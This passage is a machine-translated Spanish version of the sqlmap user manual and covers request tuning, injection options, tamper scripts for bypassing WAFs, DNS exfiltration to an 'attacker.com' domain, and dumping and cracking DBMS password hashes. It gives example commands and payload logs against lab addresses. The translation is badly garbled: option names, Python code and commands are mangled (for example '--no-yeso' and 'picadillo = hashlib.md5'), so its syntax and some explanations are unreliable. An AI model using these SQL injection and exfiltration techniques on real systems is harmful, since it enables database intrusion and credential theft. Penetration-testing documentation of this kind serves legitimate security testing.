Segundos de espera antes de la conexin de


tiempo de espera
Opcin: --timeout
Es posible especificar un nmero de segundos de espera antes de considerar el
HTTP (S) solicitud ha caducado. El valor vlido es un flotador, por ejemplo 10.5
significa diez segundos y medio. Por defecto 30 segundos se establecen.

El nmero mximo de reintentos cuando la


conexin HTTP tiempos de espera
Opcin: --retries
Es posible especificar el nmero mximo de reintentos cuando los tiempos de
espera de HTTP (S) de conexin. Por defecto se vuelve a intentar hasta tres
veces .

Al azar cambiar el valor de parmetro determinado


(s)
Opcin: --randomize
Es posible especificar nombres de los parmetros cuyos valores desea cambiar
aleatoriamente durante cada solicitud. Longitud y el tipo se mantienen de acuerdo
a los valores originales proporcionadas.
objetivos de filtrado de registro de proxy
proporcionado utilizando expresiones regulares
Opcin: --scope
En lugar de utilizar todas las mquinas analizadas desde los registros de siempre
con la opcin -l , puede especificar Python expresin regular vlida para ser
utilizada para el filtrado de los deseados.
Ejemplo de sintaxis vlida:
$ Python sqlmap.py -l burp.log --scope = "?. (Www) \ target \. (Com | net |
org)"

Evitar la sesin para ser destruidos despus de


demasiadas peticiones infructuosas
Opciones: --safe-url , --safe-post , --safe-REQ y --safe-freq
A veces las aplicaciones web o en la tecnologa de inspeccin entre destruye la
sesin si no se realiza un cierto nmero de solicitudes sin xito. Esto puede ocurrir
durante la fase de deteccin de sqlmap o cualquiera de los tipos de inyeccin de
SQL ciegos cuando se explota. Razn por la cual es que la carga til de SQL no
necesariamente produce una salido, por lo que podra plantear una seal para
bien de la gestin de sesin de aplicacin o de la tecnologa de inspeccin.

Para evitar esta limitacin establecida por el destino, puede proporcionar ninguna
opcin (o combinacin de):

--safe-url : Direccin URL para visitar con frecuencia durante la prueba.


--safe post : HTTP POST para enviar datos a una direccin URL segura dado.
--safe-requisito : Cargar y utilizar peticin HTTP segura desde un archivo.
--safe Frec : Prueba solicita entre dos visitas a un lugar seguro dado.

De esta manera, sqlmap visitar todos un nmero predefinido de solicitudes de un


cierto seguroURL sin realizar ningn tipo de inyeccin en contra de ella.

Desactive la codificacin URL de valores de


parmetros
Cambiar: --skip-urlencode
Segn la colocacin de parmetro (por ejemplo, GET) su valor podra URL
codificada por defecto.En algunos casos, los servidores web de back-end no
siguen las normas RFC y requieren valores que se van a enviar en su forma no
codificada en bruto. Use --skip-urlencode en ese tipo de casos.

Bypass anti-CSRF proteccin


Opciones: --csrf token y --csrf-url
Muchos de los sitios incorporan la proteccin anti-CSRF en forma de fichas, los
valores de campos ocultos que se establecen al azar durante cada respuesta de
bsqueda. sqlmap automticamente tratar de reconocer y derivacin de este tipo
de proteccin, pero hay opciones--csrf token y --csrf-url que se puede utilizar
para afinar Furter. Opcin --csrf token se puede utilizar para establecer el nombre
del valor oculto que contiene el token aleatorio. Esto es til en los casos en los
sitios web utilizan nombres no estndar para tales campos. Opcin --csrf-
url puede ser utilizado para la recuperacin del valor del testigo de la direccin
URL arbitraria. Esto es til si la URL de destino vulnerable no contiene el valor del
testigo es necesario, en primer lugar, pero es necesario extraerlo de alguna otra
ubicacin.

Fuerza el uso de SSL / HTTPS


Cambiar: --force-ssl
En caso de que el usuario quiere forzar el uso de SSL / HTTPS hacia el objetivo,
se puede usar este parmetro. Esto puede ser til en los casos en que las
direcciones URL estn siendo recogidos por el uso de la opcin --crawl o cuando
el registro de eructar se proporciona con la opcin -l .

Evaluar el cdigo Python personalizada durante


cada solicitud
Opcin: --eval
En caso de que el usuario quiere cambiar (o) aadir nuevos valores de los
parmetros, la mayora probablemente a causa de alguna dependencia conocida,
que puede proporcionar a sqlmap un cdigo python personalizado con opcin --
eval que sern evaluados antes de cada solicitud.
Por ejemplo:
$ Python sqlmap.py -u "http: //www.target.com/vuln.php id = 1 y = hash de
c4ca4238a0b9238 \?
20dcc509a6f75849b "--eval =" hashlib importacin; picadillo = hashlib.md5 (id)
.hexdigest () "
Cada solicitud de ejecucin se alcance el valor del parmetro GET reevaluar de
hash para contener un hash MD5 fresca digerir para el valor actual del
parmetro ID .

Mejoramiento
Estos conmutadores se pueden utilizar para optimizar el rendimiento de sqlmap.

optimizacin Bundle
Cambiar: -o
Este interruptor es un alias que establece implcitamente las siguientes opciones e
interruptores:

--mantener viva
--null conexin
--threads = 3 si no se establece en un valor ms alto.

Lea a continuacin para ms detalles acerca de cada interruptor.

la prediccin de salida
Cambiar: --predict-salida
Este interruptor se utiliza en el algoritmo de inferencia estadstica para la
prediccin secuencial de caracteres de valor siendo recuperados. Tabla
estadstica con los valores de carcter ms prometedores est siendo construido
en base a los elementos que figuran en el txt / common-outputs.txt combinado
con el conocimiento de la enumeracin de corriente utilizada. En caso de que el
valor se encuentra entre los valores de salida comunes, ya que el proceso avanza,
tablas de caracteres subsiguientes se estrecharon cada vez ms. Si se usa en
combinacin con la recuperacin de las entidades DBMS comunes, como ocurre
con los nombres de tabla y sistema de privilegios, velocidad es significativo. Por
supuesto, puede editar el archivo de salidas de comn acuerdo con sus
necesidades, si, por ejemplo, se observa patrones comunes en los nombres de
tabla de base de datos o similares.
Tenga en cuenta que este interruptor no es compatible con --threads interruptor.

Mantenimiento de conexiones HTTP


Cambiar: --keep-alive
Esto indica a sqlmap de usar (s) de conexiones HTTP persistentes.

Tenga en cuenta que este interruptor es incompatible con --proxy interruptor.

NULL conexin HTTP


Interruptor: --null conexin
Hay tipos especiales de peticin HTTP que se pueden utilizar para recuperar el
tamao de la respuesta HTTP sin conseguir el cuerpo HTTP. Este conocimiento
puede ser utilizado en la tcnica de inyeccin ciega de
distinguir verdadera de falsas respuestas. Cuando se proporciona este interruptor,
sqlmap tratar de probar y explotar dos diferentes de conexin
NULL tcnicas:Rango y CABEZA . Si cualquiera de estos est soportado por el
servidor Web de destino, acelerar vendr del ahorro evidente de ancho de banda
utilizado.
Estas tcnicas se detallan en el libro blanco de ruptura Actuaciones en Blind SQL
Injection - Tome 2 (ancho de banda) .

Tenga en cuenta que este interruptor es incompatible con el interruptor de slo --


text .

HTTP (S) concurrente solicitudes


Opcin: --threads
Es posible especificar el nmero mximo de HTTP concurrente (S) las solicitudes
que se permite sqlmap hacer. Esta funcin se basa en mltiples hilos concepto y
hereda tanto en su pro y sus contras.

Esta cuenta se aplica a los interruptores de fuerza bruta y cuando el ir a buscar los
datos se realiza a travs de cualquiera de las tcnicas de inyeccin SQL
ciegos. Para este ltimo caso, sqlmap primero calcula la longitud de la salida de la
consulta en un solo hilo, a continuacin, inicia el multi-threading. Cada hilo se
asigna para recuperar un carcter de la salida de la consulta. El hilo se termina
cuando se recupera ese personaje - se tarda hasta 7 HTTP (S) solicita con el
algoritmo de biseccin aplicado en sqlmap.

El nmero mximo de solicitudes simultneas se establece en 10 , por razones de


rendimiento y fiabilidad sitio.

Tenga en cuenta que esta opcin no es compatible con el interruptor --predict-


salida .

Inyeccin
Estas opciones se pueden utilizar para especificar qu parmetros para probar,
proporcionar cargas tiles de inyeccin de secuencias de comandos
personalizados y manipulacin opcionales.

comprobable parmetro (s)


Opciones: -p y --skip
Por defecto todas las pruebas sqlmap GET parmetros y la
POST parmetros. Cuando el valor de--level es> = 2 pone a prueba tambin
HTTP galleta de valores de cabecera. Cuando este valor es> = 3 se pone a
prueba tambin HTTP User-Agent y HTTP Referer valor de la cabecera de las
inyecciones SQL. Sin embargo, es posible especificar manualmente una lista
separada por comas de parmetro (s) que desea sqlmap a prueba. De este modo
evita la dependencia del valor de --level tambin.
Por ejemplo, para la prueba de GET parmetro de Identificacin y para
HTTP User-Agentsolamente, proporcionar -p "Identificacin, user-agent" .
En caso de que el usuario quiere excluir ciertos parmetros de las pruebas, se
puede utilizar la opcin --skip . Esto es especialmente til en los casos cuando se
desea utilizar un valor ms alto para --level y probar todos los parmetros
disponibles con exclusin de algunas de las cabeceras HTTP normalmente est
probando.
Por ejemplo, para omitir las pruebas de cabecera HTTP User-Agent y el
encabezado HTTPReferer en --level = 5 , proporcionar skip = "user-agent,
rbitro" .

punto de inyeccin URI


Hay casos especiales en los puntos de inyeccin est dentro del propio
URI. sqlmap no realiza ninguna prueba automtica contra sendas URI, a no ser
sealado de forma manual para. Se tiene que especificar estos puntos de
inyeccin en la lnea de comandos aadiendo un asterisco ( * ) despus de cada
punto URI que desea sqlmap para probar y explotar una inyeccin SQL.
Esto es particularmente til cuando, por ejemplo, de Apache servidor
web mod_rewrite mdulo est en uso u otras tecnologas similares.

Un ejemplo de lnea de comandos vlida sera:


$ Python sqlmap.py -u "http: // TargetURL / parm1 / valor1 * / param2 / valor2
/"

Forzar el DBMS
Opcin: --dbms
Por defecto sqlmap detecta automticamente el sistema de gestin de base de
datos back-end de la aplicacin web. sqlmap es totalmente compatible con los
siguientes sistemas de gestin de base de datos:

MySQL
Orculo
PostgreSQL
Microsoft SQL Server
acceso Microsoft
SQLite
Firebird
Sybase
SAP MaxDB
DB2

Si por alguna razn sqlmap no puede detectar el DBMS de back-end vez a la


inyeccin de SQL ha sido identificado o, si se quiere evitar una fingeprint activo,
que puede proporcionar el nombre del programa de fondo a s mismo (por
ejemplo, DBMS PostgreSQL ). Para MySQL y Microsoft SQL Server proporcionan
ellos, respectivamente, en forma de MySQL <versin> y Microsoft SQL Server
<versin> , donde <versin> es una versin vlida para el DBMS; por
ejemplo 5.0 de MySQL y 2005 para Microsoft SQL Server.
En caso de que proporcione --fingerprint junto con --dbms , sqlmap slo se
llevar a cabo la extensa huella digital para el sistema de gestin de base de datos
especificado solamente, lea a continuacin para ms detalles.
Tenga en cuenta que esta opcin es no obligatorio y se recomienda utilizarlo slo
si est absolutamente seguro sobre el sistema de gestin de base de datos
back-end. Si no lo saben, y mucho sqlmap automticamente las huellas digitales
para t.

Forzar el nombre del sistema operativo del sistema


de gestin de base de datos
Opcin: --os
Por defecto sqlmap detecta automticamente el sistema operativo subyacente
sistema de gestin de base de datos back-end de la aplicacin web cuando esta
informacin es una dependencia de cualquier otro interruptor o facultad
prevista. Por el momento los sistemas operativos totalmente compatibles son:

Linux
ventanas

Es posible forzar el nombre del sistema operativo si ya sabe que para que sqlmap
evitar hacerlo en s.

Tenga en cuenta que esta opcin es no obligatorio y se recomienda utilizarlo slo


si est absolutamente seguro sobre el sistema de gestin de base de datos del
sistema operativo subyacente de fondo. Si no lo saben, y mucho sqlmap identifica
automticamente por usted.

Forzar el uso de nmeros grandes para invalidar


los valores
Cambiar: --invalid-bignum
En los casos en que sqlmap necesita para invalidar el valor del parmetro original
(por ejemplo id = 13 ) que utiliza la negacin clsica (por ejemplo id = -13 ). Con
este interruptor es posible forzar el uso de valores enteros grandes para cumplir el
mismo objetivo (por ejemplo id = 99999999 ).

Forzar el uso de operaciones lgicas para invalidar


los valores
Cambiar: --invalid-lgica
En los casos en que sqlmap necesita para invalidar el valor del parmetro original
(por ejemplo id = 13 ) que utiliza la negacin clsica (por ejemplo id = -13 ). Con
este interruptor es posible forzar el uso de operaciones booleanas para cumplir el
mismo objetivo (por ejemplo id = 13 y 18 = 19 ).

Forzar el uso de cadenas aleatorias para invalidar


los valores
Cambiar: --invalid cuerdas
En los casos en que sqlmap necesita para invalidar el valor del parmetro original
(por ejemplo id = 13 ) que utiliza la negacin clsica (por ejemplo id = -13 ). Con
este interruptor es posible forzar el uso de cadenas aleatorias para cumplir el
mismo objetivo (por ejemplo id = akewmc ).

Desactivar el mecanismo de carga til de colada


Cambiar: --no-yeso
Al recuperar los resultados, sqlmap utiliza un mecanismo en el que todas las
entradas se estn fundidas a tipo de cadena y se sustituyen por un espacio en
blanco en caso de NULL valores. Que se est realizando para evitar estados
errneos (por ejemplo, la concatenacin de NULL valores con los valores de
cadena) y fcil el proceso de recuperacin de datos en s. Sin embargo, se han
reportado casos (por ejemplo, las versiones anteriores de MySQL DBMS), donde
este mecanismo necesario para ser convertido-off (uso de este parmetro) debido
a problemas con la recuperacin de datos en s (por ejemplo Ninguno valores son
devueltos).

Desactive cadena de mecanismo de escape


Cambiar: --no-fuga
En los casos en que sqlmap necesita utilizar (comilla simple delimitado) los valores
de cadena dentro de cargas tiles (por ejemplo, SELECT 'parametro' ), son
automticamente se escaparon aquellos valores (por ejemplo, SELECT CHAR (102) +
CHAR (111) + CHAR (111) + CHAR (98) + CHAR (97) + CHAR (114) ). Eso se est
haciendo debido a dos cosas: la ofuscacin del contenido de la carga til y
prevenir posibles problemas con los mecanismos que escapan de consulta (por
ejemplo magic_quotes y / o mysql_real_escape_string ) en el servidor back-end. El
usuario puede utilizar este interruptor para apagarlo (por ejemplo, para reducir el
tamao de carga til).

Encargo de carga til de inyeccin


Opciones: --prefix y --suffix
En algunas circunstancias el parmetro vulnerable es explotable slo si el usuario
proporciona un sufijo especfico que se anexa a la carga de la inyeccin. Otro
escenario donde estas opciones vienen en s misma ofrece muy til cuando el
usuario ya sabe que la sintaxis de consulta y quieren detectar y explotar la
inyeccin de SQL, proporcionando directamente un prefijo y un sufijo de carga til
de inyeccin.

Ejemplo de cdigo fuente vulnerables:


$ Query = "SELECT * FROM usuarios WHERE id = ( '" $ _GET. [' Id ']. "') LIMIT 0,
1";
Para detectar y explotar esta inyeccin SQL, puede dejar que sqlmap detectar
las fronteras(como en la combinacin de prefijo y un sufijo de carga til de SQL)
para que durante la fase de deteccin, o proporcionar por su cuenta.

Por ejemplo:
$ Python sqlmap.py -u "http: //192.168.136.131/sqlmap/mysql/get_str_brackets.php
\
? Id = 1 "Identificacin -p --prefix" ') "--suffix" Y (' abc '=' abc "
[...]
Esto dar lugar a todas las solicitudes sqlmap para terminar en una consulta de la
siguiente manera:
$ Query = "SELECT * FROM usuarios WHERE id = ( '1') <payload> Y ( 'abc' = 'abc')
LIMIT 0, 1";
Lo cual hace que la consulta sintcticamente correcta.

En este sencillo ejemplo, sqlmap podra detectar la inyeccin de SQL y se


aprovechan de ella sin necesidad de proporcionar lmites personalizados, pero a
veces en aplicaciones del mundo real, es necesario proporcionarla cuando el
punto de inyeccin est dentro anidados UNIRSE consultas, por ejemplo.

Manipulacin indebida de datos de inyeccin


Opcin: --tamper
sqlmap en s no hace la ofuscacin de la carga til enviada, a excepcin de
cadenas entre comillas simples reemplazados por sus CHAR () la representacin -
igual.
Esta opcin puede ser muy til y potente en situaciones donde hay un dbil
mecanismo de validacin de entrada entre el usuario y el sistema de gestin de
base de datos back-end. Este mecanismo usualmente es una rutina de validacin
de entrada de desarrollo propio llamado por el cdigo fuente de la aplicacin, un
dispositivo IPS de nivel empresarial caro o un firewall de aplicaciones Web
(WAF). Todas las palabras de moda para definir el mismo concepto, implementado
de una manera diferente y que cuesta mucho dinero, por lo general.

Para aprovechar las ventajas de esta opcin, se debe sqlmap con una lista
separada por comas de las secuencias de comandos de manipulacin y esto va a
procesar la carga til y devolverlo transformado. Puede definir sus propias
secuencias de comandos de manipulacin indebida, utilizar los sqlmap del pisn
/ carpeta o editarlos, siempre y cuando ellos concatenar separados por comas
como valor de la opcin --tamper (por ejemplo --tamper = "entre, randomcase" ).
El formato de una secuencia de comandos de manipulacin vlida es la siguiente:
# Importaciones necesarias
de lib.core.enums importar PRIORIDAD

# Definir cual es el orden de aplicacin de los guiones de sabotaje contra


# la carga til
__priority__ = PRIORIDAD . NORMAL

def manipular ( carga til ):


'' '
Descripcin de la secuencia de comandos de manipulacin indebida
' ''

RetVal = carga til

# Su cdigo de manipulacin de la carga til original,

# Devolver la carga til manipulado


retorno RetVal
Puede comprobar las secuencias de comandos de manipulacin vlidos y
utilizables en lamanipulacin indebida / directorio.
Ejemplo de MySQL contra un objetivo suponiendo que los > caracteres, espacios y
de capitalSELECT cadena estn prohibidos:
$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" - \
sabotaje sabotaje / between.py, sabotaje / randomcase.py, sabotaje /
space2comment.py -v 3

[hh: mm: 03] [DEBUG] La limpieza de los parmetros de configuracin


[Hh: mm: 03] [INFO] script de carga de sabotaje "entre"
[Hh: mm: 03] [INFO] script de carga de sabotaje 'randomcase'
[Hh: mm: 03] [INFO] la carga de la escritura de sabotaje 'space2comment'
[...]
[Hh: mm: 04] [INFO] prueba 'y ciego booleano de base - WHERE o HAVING'
[Hh: mm: 04] [CARGA] 1) / ** / Y / ** / 1369 = 7706 / ** / Y / ** / (4092 = 4092
[Hh: mm: 04] [CARGA] 1) / ** / Y / ** / 9267 = 9267 / ** / Y / ** / (4057 = 4057
[Hh: mm: 04] [CARGA] 1 / ** / y / ** / 950 = 7041
[...]
[Hh: mm: 04] Las pruebas de 'MySQL> [INFO] = 5.0 y basado en el error - clusula
WHERE o HAVING
'
[Hh: mm: 04] [CARGA] 1 / ** / y / ** / (SELECT / ** / 9921 / ** / FROM (SELECT /
** / Count (*), CONC
AT (CHAR (58,117,113,107,58), (/ ** / (caso SELECT / ** / cundo / ** / (9921 =
9921) / ** / then / ** / 1 /
** / Else / ** / 0 / ** / END)), Char (58,106,104,104,58), suelos (rand (0) *
2)) x / ** / DE / ** / Informacin
rmation_schema.tables / ** / grupo / ** / BY / ** / x) a)
[Hh: mm: 04] [INFO] GET parmetro 'id' es 'MySQL> = 5.0 y basada en el error -
WHERE o
clusula HAVING inyectable '
[...]
Deteccin
Estas opciones se pueden usar para personalizar la fase de deteccin.

Nivel
Opcin: --level
Esta opcin requiere un argumento que especifica el nivel de pruebas que desee
realizar. Haycinco niveles. El valor por defecto es 1 , donde se llevan a cabo
nmero limitado de pruebas (solicitudes). A la inversa, el nivel de 5 probar ms
detallados para un nmero mucho mayor de cargas tiles y los lmites (como en
par de prefijo y el sufijo carga til SQL). Las cargas utilizadas por sqlmap se
especifican en el archivo de texto XML / payloads.xml . Siguiendo las instrucciones
en la parte superior del archivo, si sqlmap pierde una inyeccin, debe ser capaz de
aadir su carga til (s) para probar tambin!
No slo esta opcin afecta a que la carga til sqlmap intentos, pero tambin por
los que se toman los puntos de inyeccin en el examen: GET y parmetros POST
estn siempre a prueba, valores de cabecera de cookies HTTP se prueban desde
el nivel 2 / Referer valor encabezados 'y HTTP User-Agent se pone a prueba de
nivel 3 .

Con todo, ms difcil es detectar una inyeccin SQL, cuanto mayor sea el --
level debe ajustarse.
Se recomienda encarecidamente a mayor sea este valor antes de informar a la
lista de correo que sqlmap no es capaz de detectar un cierto punto de inyeccin.

Riesgo
Opcin: --risk
Esta opcin requiere un argumento que especifica el riesgo de pruebas que desee
realizar. Haycuatro valores de riesgo. El valor por defecto es 1 , que es inofensiva
para la mayora de los puntos de inyeccin SQL. Valor de riesgo 2 aade al nivel
predeterminado para las pruebas consulta pesada inyecciones SQL basados en el
tiempo y el valor 3 aade tambin O basados en pruebas de inyeccin SQL.
En algunos casos, como una inyeccin de SQL en una ACTUALIZACIN comunicado,
la inyeccin de un OR de carga til con base puede conducir a una actualizacin de
todas las entradas de la tabla, lo que ciertamente no es lo que quiere el
atacante. Por esta razn y otras esta opcin se ha introducido: el usuario tiene
control sobre qu cargas se hacen la prueba, el usuario puede elegir
arbitrariamente utilizar tambin los potencialmente peligrosos. De acuerdo con la
opcin anterior, las cargas tiles utilizados por sqlmap se especifican en el archivo
de texto XML / payloads.xml y que son libres de editar y aadir su propietaria.

comparacin de la pgina
Opciones: --string , --no-secuencia , --regexp y --code
Por defecto, la distincin de una verdadera consulta de un falso uno (concepto
spera detrs de vulnerabilidades de inyeccin SQL ciega basada en booleanas)
se realiza mediante la comparacin del contenido de la pgina peticiones
inyectado con el contenido de la pgina no se ha inyectado originales. No siempre
este concepto funciona porque a veces los cambios de contenido de pgina en
cada actualizacin del aun no inyectar algo, por ejemplo, cuando la pgina tiene
un contador, un banner de publicidad dinmica o cualquier otra parte del HTML
que hayan sido transformados de forma dinmica y puede cambiar en el tiempo,
no slo en consecuencia, a la entrada del usuario. Para eludir este lmite, sqlmap
se esfuerza por identificar estos fragmentos de los cuerpos de respuesta y tratar
en consecuencia. A veces puede fallar, es por eso que el usuario puede
proporcionar una cadena ( --string opcin), que debe estar presente en la pgina
original (aunque no es un requisito) y en todas las pginas de consulta inyecta
cierto, pero que es no en el los falsos. En lugar de cadena esttica, el usuario
puede proporcionar una expresin regular ( --regexp opcin). Alternativamente, el
usuario puede proporcionar una (cadena --no-secuencia opcin) que
es no presente en la pgina original, y no en todas las pginas de consulta
inyectados cierto, pero aparece siempre en los falsos.
Tales datos es fcil para un usuario recuperar, simplemente tratar de inyectar en el
parmetro afectado un valor no vlido y comparar manualmente el contenido de la
pgina original (no inyectada) con el contenido de la pgina equivocada
inyectado. De esta manera la distincin se basa en la presencia de cadena o
expresin regular.

En los casos en que el usuario sabe que la distincin de una verdadera consulta de
un falsouno puede hacerse utilizando el cdigo HTTP (por ejemplo, 200 para
la verdadera y 401 para elFalso ), que puede proporcionar esa informacin a sqlmap
(por ejemplo --code = 200 ).
Interruptores: --text-solo y --titles
En los casos en que el usuario sabe que la distincin de una verdadera consulta de
un falsouno puede hacerse utilizando ttulo HTML (por
ejemplo Bienvenido a Verdadero y Forbidden deFalso ), que a su vez puede
convertirse en una comparacin basada en el ttulo utilizando los interruptores --
titles .
En los casos con gran cantidad de contenido activo (por ejemplo, secuencias de
comandos, se incrusta, etc.) en el cuerpo de las respuestas HTTP ', puede filtrar
pginas (switch --text de slo) simplemente por su contenido textual. De esta
manera, en un buen nmero de casos, se puede sintonizar automticamente el
motor de deteccin.

tcnicas
Estas opciones se pueden utilizar para ajustar el ensayo de tcnicas especficas
de inyeccin SQL.
tcnicas de inyeccin SQL para la prueba de
Opcin: --technique
Esta opcin se puede utilizar para especificar qu tipo de inyeccin SQL para
detectar si existen.Por defecto sqlmap pruebas para todos los tipos / tcnicas que
soporta.

En determinadas situaciones, es posible que desee probar slo para uno o pocos
tipos especficos de pensamiento de inyeccin SQL y aqu es donde esta opcin
entra en juego.

Esta opcin requiere un argumento. Tal argumento es una cadena compuesta por
cualquier combinacin de B , E , U , S , T y Q caracteres, donde cada letra representa
una tcnica diferente:

B : ciega a base de Boole


E : basado Error
T basado en consultas Unin:
S : Stacked consultas
T : ciega basada en Tiempo
Q consultas Inline:

Por ejemplo, puede proporcionar ES si desea probar y explotar nicos tipos de


inyeccin a base de errores y consultas SQL apilados. El valor por defecto
es BEUSTQ .
Observe que la cadena debe incluir consultas apilados carta tcnica, S , cuando se
desea acceder al sistema de archivos, toma de control del sistema operativo o de
acceso a secciones del Registro de Windows.

Segundos para retrasar la respuesta de DBMS para


inyeccin SQL ciega basada en el tiempo
Opcin: --time-sec
Es posible ajustar los segundos para retrasar la respuesta cuando las pruebas de
inyeccin SQL ciega basada en el tiempo, proporcionando la --time-sec opcin
seguido por un nmero entero.Por defecto su valor se establece en 5 segundos .

Nmero de columnas de la inyeccin de consulta


SQL UNION
Opcin: --union-cols
Por defecto sqlmap pruebas para consulta UNION tcnica de inyeccin SQL con 1
a 10 columnas.Sin embargo, este rango se puede aumentar hasta 50 columnas,
proporcionando una mayor --level valor. Ver el apartado correspondiente para
ms detalles.
Se puede decir de forma manual sqlmap para la prueba de este tipo de inyeccin
SQL con un rango especfico de columnas, proporcionando la herramienta con la
opcin --union-colsseguido de una serie de nmeros enteros. Por ejemplo, 12-
16 significa que las pruebas de inyeccin de SQL consulta UNION mediante el uso
de 12 hasta 16 columnas.

Caracteres utilizar para la prueba de inyeccin de


consulta SQL UNION
Opcin: --union-char
Por defecto sqlmap pruebas para la tcnica de inyeccin SQL utilizando consulta
de unin NULLcarcter. Sin embargo, proporcionando un mayor --level valor
sqlmap se lleva a cabo pruebas tambin con un nmero aleatorio, porque hay
algunos casos donde las pruebas de esquina consulta de unin con NULL fallan,
mientras que con un nmero entero aleatorio tienen xito.
Se puede decir de forma manual sqlmap para la prueba de este tipo de inyeccin
SQL con un carcter especfico utilizando la opcin --union-char con valor de
carcter deseado (por ejemplo--union-char 123 ).

Tabla a utilizar en la inyeccin de la parte de


consulta SQL UNION
Opcin: --union -desde
En algunos casos inyeccin UNIN consulta SQL hay una necesidad de hacer
cumplir el uso del nombre de la tabla vlida y accesible en DE clusula. Por
ejemplo, Microsoft Access requiere el uso de dicha tabla. Sin proporcionar
inyeccin de consulta SQL de un sindicato no va a ser capaz de realizar
correctamente (por ejemplo --union-from = usuarios ).

exfiltracin ataque DNS


Opcin: --dns-dominio
Exfiltracin DNS ataque de inyeccin SQL se describe en el documento
de recuperacin de datos de ms de DNS de ataques de inyeccin SQL , mientras
que la presentacin de su implementacin en el interior sqlmap se puede
encontrar en las diapositivas exfiltracin DNS mediante sqlmap .

Si el usuario es el control de una mquina registrada como un servidor de dominio


DNS (por ejemplo, dominio attacker.com ) se puede activar este ataque mediante
el uso de esta opcin (por ejemplo --dns-dominio attacker.com ). Los requisitos
previos para que funcione es ejecutar un sqlmap con administrador privilegios (uso
del puerto privilegiado 53 ) y que una tcnica normal (ciego) est disponible para
su explotacin. Eso es nicamente con el propsito de este ataque es acelerar el
proceso de recuperacin de datos en caso de que al menos una tcnica ha sido
identificado (en el mejor ciego basado en el tiempo caso). En caso de que las
tcnicas de consulta ciegos o unin a base de error estn disponibles que se
saltar como esos son los preferidos por defecto.

ataque de segundo orden


Opcin: --second orden
De segundo orden ataque de inyeccin SQL es un ataque en el que se muestra
resultado (s) de una carga til se inyecta en una pgina vulnerables (reflejado) en
el otro (por ejemplo, el marco).Por lo general, eso est pasando por el
almacenamiento de base de datos de usuario proporcion informacin en la
pgina inicial vulnerables.

Se puede decir de forma manual sqlmap para la prueba de este tipo de inyeccin
SQL utilizando la opcin --second orden con la direccin URL de la pgina web en
la que se muestran los resultados.

Huella dactilar
sistema de huella digital extensa base de datos de
gestin
Interruptores: -f o --fingerprint
Por defecto de huellas dactilares sistema de gestin de base de datos back-end
de la aplicacin web es manejado automticamente por sqlmap. Justo despus de
que finalice la fase de deteccin y el usuario con el tiempo se le solicita con una
eleccin de qu parmetro vulnerable a utilizar ms adelante, las huellas
dactilares sqlmap el sistema de gestin de base de datos back-end y contina con
la inyeccin por saber qu sintaxis SQL, dialecto y consultas de usar para
proceder con el ataque dentro de los lmites de la arquitectura de base de datos.

Si por alguna instancia que desea llevar a cabo una extensa base de datos de
huellas dactilares sistema de gestin basado en diversas tcnicas como dialectos
SQL especficas y mensajes de error dentro de banda, puede proporcionar el
interruptor --fingerprint . sqlmap va a realizar muchas ms solicitudes y las
huellas digitales de la versin exacta de DBMS y, cuando sea posible, el sistema
operativo, la arquitectura y el nivel de parche.
Si desea que la huella digital sea resultado an ms preciso, tambin puede
proporcionar el interruptor -b o --banner .

Enumeracin
Estas opciones se pueden utilizar para enumerar el sistema de gestin de base de
datos de informacin, estructura de fondo y los datos contenidos en las tablas. Por
otra parte usted puede ejecutar sus propias sentencias SQL.
recuperar todos
Cambiar: --all
Este interruptor puede ser utilizado en situaciones en las que el usuario quiere
recuperar todo remotamente accesible mediante el uso de un nico
conmutador. Esto no es recomendable ya que generar gran nmero de
peticiones de recuperacin de datos tiles y intiles.

Bandera
Cambiar: -b o --banner
La mayora de los sistemas modernos de gestin de base de datos tienen una
funcin y / o una variable de entorno que devuelve la versin del sistema de
gestin de base de datos y, finalmente, detalles sobre su nivel de parche, el
sistema subyacente. Por lo general, la funcin es la versin () y la variable de
entorno se @@ version , pero esto puede variar dependiendo de los DBMS de
destino.
Ejemplo contra un objetivo de Oracle:
$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -
\
-bandera

[...]
[Xx: xx: 11] [INFO] bandera ir a buscar
La tecnologa de aplicaciones web: PHP 5.2.6, 2.2.9 Apache
back-end DBMS: Oracle
banner: 'Base de Datos Oracle 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

usuario de la sesin
Cambiar: --current usuario
Con este interruptor es posible recuperar los usuarios del sistema de gestin de
base de datos que est llevando a cabo de manera efectiva la consulta en el
DBMS de back-end de la aplicacin web.

base de datos actual


Cambiar: --current-db
Con este interruptor es posible recuperar el nombre de la base de datos del
sistema de gestin de base de datos que la aplicacin web est conectado.

nombre de host del servidor


Cambiar: --hostname
Con este conmutador es posible para recuperar el nombre del sistema de gestin
de base de datos.
Ejemplo frente a un objetivo de MySQL:
$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" - \
nombre de host

[...]
[Xx: xx: 04] [INFO] ir a buscar el nombre de host del servidor
[Xx: xx: 04] [INFO] recuperado: debian-5.0-i386
nombre de host: 'debian-5.0-i386'

Detectar si el usuario de la sesin es un


administrador de la base
Cambiar: --es-dba
Es posible detectar si la base de datos de gestin de sesin del sistema de
usuario actual es un administrador de base de datos, tambin conocida como
DBA. sqlmap volver Verdadero si lo es, viceversa Falso .

los usuarios del sistema de gestin de base de


datos de la lista
Switch: --users
Cuando el usuario de la sesin tiene acceso de lectura a la tabla de sistema que
contiene informacin sobre los usuarios DBMS, es posible enumerar la lista de
usuarios.

Lista de crack y de gestin de base de datos de los


usuarios del sistema hashes de contraseas
Switch: --passwords
Cuando el usuario de la sesin tiene acceso de lectura a la tabla de sistema que
contiene informacin acerca de las contraseas de los usuarios de DBMS, es
posible enumerar los hashes de contraseas para cada usuario del sistema de
gestin de base de datos. sqlmap primero enumerar los usuarios, a continuacin,
los diferentes hashes de contraseas para cada uno de ellos.

Ejemplo frente a un objetivo de PostgreSQL:


$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" - \
contraseas -v 1

[...]
DBMS PostgreSQL:
[hh: mm: 38] [info] ir a buscar a los usuarios de bases de datos hashes de
contraseas
desea utilizar el ataque de diccionario sobre hashes de contraseas
recuperadas? [Y / n / q] y
[Hh: mm: 42] [INFO] utilizando el mtodo de hash: 'postgres_passwd'
cul es la ubicacin del diccionario? [/software/sqlmap/txt/wordlist.txt]
[Hh: mm: 46] [INFO] Diccionario de carga: '/software/sqlmap/txt/wordlist.txt'
